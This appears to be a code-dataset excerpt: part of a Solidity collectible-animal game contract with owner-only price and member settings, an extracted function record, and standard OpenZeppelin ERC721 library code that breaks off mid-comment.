* function to set the mate advertisement price
* can only be called from owner wallet
**/
function setMateAdvertisementRate(uint256 newPrice) public onlyOwner returns (bool)
{
priceForMateAdvertisement = newPrice;
}
/**
* function to set the sale advertisement price
* can only be called from owner wallet
**/
function setSaleAdvertisementRate(uint256 newPrice) public onlyOwner returns (bool)
{
priceForSaleAdvertisement = newPrice;
}
/**
* function to set the sale advertisement price
* can only be called from owner wallet
**/
function setBuyingCostumeRate(uint256 newPrice) public onlyOwner returns (bool)
{
priceForBuyingCostume = newPrice;
}
/**
* function to get all mating animal ids
**/
function getAllMatingAnimals() public constant returns (uint[])
{
return upForMatingList;
}
/**
* function to get all sale animals ids
**/
function getAllSaleAnimals() public constant returns (uint[])
{
return upForSaleList;
}
/**
* function to change the free animals limit for each user
* can only be called from owner wallet
**/
function changeFreeAnimalsLimit(uint limit) public onlyOwner
{
freeAnimalsLimit = limit;
}
/**
* function to change the owner share on buying transactions
* can only be called from owner wallet
**/
function changeOwnerSharePerThousandForBuying(uint buyshare) public onlyOwner
{
ownerPerThousandShareForBuying = buyshare;
}
/**
* function to change the owner share on mating transactions
* can only be called from owner wallet
**/
function changeOwnerSharePerThousandForMating(uint mateshare) public onlyOwner
{
ownerPerThousandShareForMating = mateshare;
}
/**
* function to pause the contract
* can only be called from owner wallet
**/
function pauseContract(bool isPaused) public onlyOwner
{
isContractPaused = isPaused;
}
/**
* function to remove an animal from egg phase
* can be called from anyone in the member addresses list
**/
function removeFromEggPhase(uint animalId) public
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==msg.sender)
{
for (uint j=0;j<eggPhaseAnimalIds.length;j++)
{
if (eggPhaseAnimalIds[j]==animalId)
{
delete eggPhaseAnimalIds[j];
}
}
animalAgainstId[animalId].eggPhase = false;
}
}
}
/**
* function to get all children ids of an animal
**/
function getChildrenAgainstAnimalId(uint id) public constant returns (uint[])
{
return childrenIdAgainstAnimalId[id];
}
/**
* function to get all animals in the egg phase list
**/
function getEggPhaseList() public constant returns (uint[])
{
return eggPhaseAnimalIds;
}
/**
* function to get all animals in costume not yet approved list
**/
function getAnimalIdsWithPendingCostume() public constant returns (uint[])
{
return animalIdsWithPendingCostumes;
}
/**
* function to request to buy costume
**/
function buyCostume(uint cId, uint aId) public payable
{
require(msg.value>=priceForBuyingCostume);
require(!isContractPaused);
require(token.ownerOf(aId)==msg.sender);
require(animalAgainstId[aId].costumeId==0);
animalAgainstId[aId].costumeId=cId;
animalIdsWithPendingCostumes.push(aId);
// transfer the mating advertisement charges to owner
owner.transfer(msg.value);
}
/**
* function to approve a pending costume
* can be called from anyone in the member addresses list
**/
function approvePendingCostume(uint animalId) public
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==msg.sender)
{
for (uint j=0;j<animalIdsWithPendingCostumes.length;j++)
{
if (animalIdsWithPendingCostumes[j]==animalId)
{
delete animalIdsWithPendingCostumes[j];
}
}
}
}
}
/**
* function to add a member that could remove animals from egg phase
* can only be called from owner wallet
**/
function addMember(address member) public onlyOwner
{
memberAddresses.push(member);
}
/**
* function to return the members that could remove an animal from egg phase
**/
function listMembers() public constant returns (address[])
{
return memberAddresses;
}
/**
* function to delete a member from the list that could remove an animal from egg phase
* can only be called from owner wallet
**/
function deleteMember(address member) public onlyOwner
{
for (uint i=0;i<memberAddresses.length;i++)
{
if (memberAddresses[i]==member)
{
delete memberAddresses[i];
}
}
}
/**
* function to update an animal
* can only be called from owner wallet
**/
function updateAnimal(uint animalId, string name, string desc) public
{
require(msg.sender==token.ownerOf(animalId));
animalAgainstId[animalId].name=name;
animalAgainstId[animalId].desc=desc;
token.setAnimalMeta(animalId, name);
}
/**
* function to update an animal
* can only be called from owner wallet
**/
function updateAnimalSpecial(uint animalId, bool isSpecial) public onlyOwner
{
require(msg.sender==token.ownerOf(animalId));
animalAgainstId[animalId].isSpecial=isSpecial;
}
}
|
function to get all animals in costume not yet approved list/
|
function getAnimalIdsWithPendingCostume() public constant returns (uint[])
{
return animalIdsWithPendingCostumes;
}
| 1,305,901
|
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory){
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
